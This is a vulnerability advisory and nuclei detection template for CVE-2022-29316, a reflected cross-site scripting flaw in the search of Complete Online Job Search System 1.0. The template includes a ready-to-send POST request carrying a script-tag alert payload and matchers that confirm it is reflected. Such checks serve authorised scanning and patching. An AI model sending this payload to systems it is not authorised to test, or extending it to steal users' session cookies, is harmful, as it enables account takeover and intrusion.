Complete Online Job Search System 1.0 - Cross-Site Scripting

highseverity

7.2CVSS score

3.3%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

Complete Online Job Search System 1.0 contains a cross-site scripting vulnerability via index.php?q=advancesearch.

Impact

Attackers can inject malicious JavaScript through the search functionality, potentially stealing session cookies and credentials from job seekers and employers using the platform.

Fix

Update Complete Online Job Search System to a patched version that properly sanitizes search parameters and encodes output to prevent XSS attacks.

How to confirm it

Send: POST /index.php?q=result&searchfor=advancesearch
Positive when: contains "Result : <script>alert(document.domain)</script>" and "ERIS" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-29316 -u <target>

The full check

id: CVE-2022-29316

info:
  name: Complete Online Job Search System 1.0 - Cross-Site Scripting
  author: arafatansari
  severity: high
  description: |
    Complete Online Job Search System 1.0 contains a cross-site scripting vulnerability via index.php?q=advancesearch.
  impact: |
    Attackers can inject malicious JavaScript through the search functionality, potentially stealing session cookies and credentials from job seekers and employers using the platform.
  remediation: |
    Update Complete Online Job Search System to a patched version that properly sanitizes search parameters and encodes output to prevent XSS attacks.
  reference:
    - https://github.com/debug601/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-9.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29316
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2022-29316
    epss-score: 0.03315
    epss-percentile: 0.88674
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2022,xss,eris,sqli,vuln

http:
  - raw:
      - |
        POST /index.php?q=result&searchfor=advancesearch HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SEARCH=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&COMPANY=&CATEGORY=&submit=Submit

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Result : <script>alert(document.domain)</script>'
          - 'ERIS'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from